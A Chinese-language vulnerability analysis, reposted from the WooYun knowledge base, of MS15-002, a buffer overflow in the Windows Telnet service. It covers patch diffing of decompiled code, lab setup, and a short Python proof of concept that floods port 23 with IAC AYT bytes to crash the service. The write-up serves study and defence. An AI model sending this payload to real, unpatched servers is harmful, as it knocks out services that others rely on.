MS15-002 telnet服務緩衝區溢位漏洞分析與POC構造

wyzsk發表於2020-08-19
作者: cssembly · 2015/01/16 9:09

0x00 漏洞原理分析


MS15-002是微軟telnet服務中的緩衝區溢位漏洞,下面對其原理進行分析並構造POC。

telnet服務程式為tlntsvr.exe,針對每一個客戶端連線會相應啟動執行一個tlntsess.exe程式,補丁修補的是tlntsess.exe檔案,透過補丁比對,確定漏洞位置如下,函式為

#!c++
signed int __thiscall CRFCProtocol::ProcessDataReceivedOnSocket(CRFCProtocol *this, unsigned __int32 *a2)

enter image description here

補丁前,該函式分別為:

enter image description here

補丁後,該函式為:

enter image description here

也就是說原來一個緩衝區變成了兩個,呼叫完

#!c++
(*(void (__thiscall **)(CRFCProtocol *, unsigned __int8 **, unsigned __int8 **, unsigned __int8))((char *)&off_1011008 + v12))(v2,&v13,&v9,v6)

之後,先對緩衝區中的資料長度進行判斷,如果

#!c++
(unsigned int)(v9 - (unsigned __int8 *)&Src - 1) <= 0x7FE 

則判斷目標緩衝區中可容納字元的個數,如果

#!c++
(unsigned int)((char *)v14 + v7 - (_DWORD)&Dst) >= 0x800

則退出,否則執行

#!c++
memcpy_s(v14, (char *)&v18 - (_BYTE *)v14, &Src, v9 - (unsigned __int8 *)&Src)

將資料複製到Dst緩衝區。

而補丁前,只有一個緩衝區,呼叫

#!c++
(*(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)

之前,先對緩衝區中的資料長度進行判定,只有當v13 - &Src <= 2048時才呼叫,v13 指向可用的緩衝區頭部,而

#!c++
(*(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)

處呼叫的函式,會對v13的值進行修改,如果呼叫

#!c++
void __thiscall CRFCProtocol::DoTxBinary(CRFCProtocol *this, unsigned __int8 **a2, unsigned __int8 **a3, unsigned __int8 a4)

函式,可以看到函式修改了引數3的值,即*a3 += 3。

enter image description here

經過分析可以知道,如果v13 - &Src =2047,則滿足v13 - &Src <= 2048條件,此時如果(*(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)呼叫的是CRFCProtocol::DoTxBinary函式,且執行到了如下指令序列時,顯然導致了緩衝區溢位。

#!c++
v7 = *a3;
*v7 = -1;
v7[1] = -3;
v7[2] = a4;
v7[3] = 0;
*a3 += 3;

補丁後的版本,採用兩個緩衝區,將臨時緩衝區指標v9傳遞給

#!c++
(*(void (__thiscall **)(CRFCProtocol *, unsigned __int8 **, unsigned __int8 **, unsigned __int8))((char *)&off_1011008 + v12))(v2,&v13,&v9,v6)

函式返回後判斷v9指向的緩衝區中的資料長度,最後判斷目的緩衝區剩餘可用空間是否可以容納v9指向的緩衝區中的資料,即對(unsigned int)((char *)v14 + v7 - (_DWORD)&Dst) >= 0x800的判斷。

0x01 環境搭建與POC構造


Win7上安裝並啟動telnet服務端,執行net user exp 123456 /ADD增加使用者exp,透過net localgroup TelnetClients exp /ADD將該使用者新增至TelnetClients組,這樣就能夠透過telnet客戶端進行登入了。

除錯發現

#!c++
signed int __thiscall CRFCProtocol::ProcessDataReceivedOnSocket(CRFCProtocol *this, unsigned __int32 *a2)

a2為接收到的資料的長度,最大為0x400,v6指向接收到的資料,顯然為了觸發溢位,必須在呼叫((&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)時,讓資料出現膨脹,保證處理過後的Src緩衝區中的資料長度大於0x800。

enter image description here

檢視(*(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)處可以呼叫的函式,

#!c++
void __thiscall CRFCProtocol::AreYouThere(CRFCProtocol *this, unsigned __int8 **a2, unsigned __int8 **a3, unsigned __int8 a4)

顯然會導致資料膨脹,a4是接收到的資料中的一個位元組,執行後,a3指向的緩衝區中將寫入9位元組的固定資料。

enter image description here

透過wireshark截包,簡單對協議進行分析,構造POC如下,讓程式多次執行CRFCProtocol::AreYouThere函式,最終觸發異常。

#!python
import socket  
address = ('192.168.172.152', 23)  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(address)
data = "\xff\xf6" * 0x200
s.send(data) 
s.recv(512)  
s.close()

執行poc,在

#!c++
signed int __thiscall CRFCProtocol::ProcessDataReceivedOnSocket( CRFCProtocol *this, unsigned __int32 *a2)

處設定斷點,中斷後可以看到a2 = 0x400,(DWORD)((DWORD*)(this+0x1E40)+ 0x16c8)指向接收到得資料。

enter image description here

在函式返回前設定斷點,執行之後,可以看到__security_check_cookie檢測到了棧溢位,觸發了異常,中斷到偵錯程式。

enter image description here

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章